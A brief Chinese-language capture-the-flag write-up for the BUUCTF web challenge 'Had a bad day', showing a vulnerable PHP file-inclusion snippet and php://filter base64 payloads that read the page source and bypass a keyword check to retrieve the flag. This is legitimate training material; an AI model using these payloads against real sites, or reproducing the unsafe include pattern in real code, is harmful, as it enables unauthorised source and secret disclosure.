buuctf-web-[BSidesCF 2020]Had a bad day

题目地址

  1. 打开题目
    buuctf-web-[BSidesCF 2020]Had a bad day_第1张图片
  2. 随机点击一个按钮
    buuctf-web-[BSidesCF 2020]Had a bad day_第2张图片
  3. 看这样子是文件包含
    尝试了很多,最后发现index 不能加.php 这样才可以读出源码
    php://filter/read=convert.base64-encode/resource=index

buuctf-web-[BSidesCF 2020]Had a bad day_第3张图片

  1. 解密一下,拿到关键代码
    审计代码,包含的字符必须有 woofers或者meowers或index 其中一个
    这边还使用了拼接 .php ,所以第一步那里只能写index

	$file = $_GET['category'];

	if(isset($file))
	{
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
		}
		else{
			echo "Sorry, we currently only support woofers and meowers.";
		}
	}
?>
  1. php://filter伪协议可以套一层协议
    payload:php://filter/read=convert.base64-encode/index/resource=flag
    buuctf-web-[BSidesCF 2020]Had a bad day_第4张图片
  2. 解密
    buuctf-web-[BSidesCF 2020]Had a bad day_第5张图片

你可能感兴趣的:(web,文件包含)